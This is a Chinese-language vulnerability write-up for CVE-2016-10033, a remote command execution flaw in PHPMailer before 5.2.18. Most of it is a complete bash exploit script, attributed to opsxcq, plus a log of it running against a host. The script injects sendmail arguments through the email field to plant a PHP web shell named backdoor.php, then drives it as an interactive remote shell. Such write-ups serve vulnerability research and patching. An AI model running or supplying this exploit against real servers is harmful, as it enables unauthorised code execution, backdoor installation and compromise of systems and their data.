(CVE-2016-10033)PHPMailer \< 5.2.18 远程命令执行漏洞¶
一、漏洞简介¶
PHPMailer 5.2.18之前的版本存在一个漏洞,该漏洞可能导致远程代码执行(RCE)。如果未设置Sender属性,则PHPMailer的isMail传输中的mailSend函数可能会允许远程攻击者将额外的参数传递给mail命令,从而通过在预制的发件人地址中使用"(反斜杠双引号)执行任意代码。
二、漏洞影响¶
PHPMailer \< 5.2.18
三、复现过程¶
poc¶
root@kali:~/CVE-2016-10033# ./exploit.sh www.0-sec.org:8080 [+] CVE-2016-10033 exploit by opsxcq [+] Exploiting www.0-sec.org:8080 [+] Target exploited, acessing shell at http://www.0-sec.org:8080/backdoor.php [+] Checking if the backdoor was created on target system [+] Backdoor.php found on remote system [+] Running whoami www-data RemoteShell> ls [+] Running ls vulnerable RemoteShell> pwd [+] Running pwd /www CVE-2016-10033.sh #!/bin/bash # CVE-2016-10033 exploit by opsxcq # https://github.com/opsxcq/exploit-CVE-2016-10033 echo '[+] CVE-2016-10033 exploit by opsxcq' if [ -z "$1" ] then echo '[-] Please inform an host as parameter' exit -1 fi if [ $(uname) == 'Darwin' ] then decoder='base64 -D' elif [ $(uname) == 'Linux' ] then decoder='base64 -d' else echo '[-] Your platform isnt supported: '$(uname) exit -1 fi host=$1 echo '[+] Exploiting '$host curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="action"\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="name"\r\n\r\n<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="email"\r\n\r\n\"vulnerables\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @test.com\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="message"\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php' echo '[+] Checking if the backdoor was created on target system' code=$(curl -o /dev/null --silent --head --write-out '%{http_code}\n' "http://$host/backdoor.php") if [ "$code" != "200" ] then echo '[-] Target cant be exploited' exit -1 else echo '[+] Backdoor.php found on remote system' fi cmd='whoami' while [ "$cmd" != 'exit' ] do echo '[+] Running '$cmd if ! curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | grep -v 'base64_encode' | head -n 1 | cut -d '|' -f 2 | $decoder then echo '[-] Connection problens' exit -1 fi echo read -p 'RemoteShell> ' cmd done echo '[+] Exiting'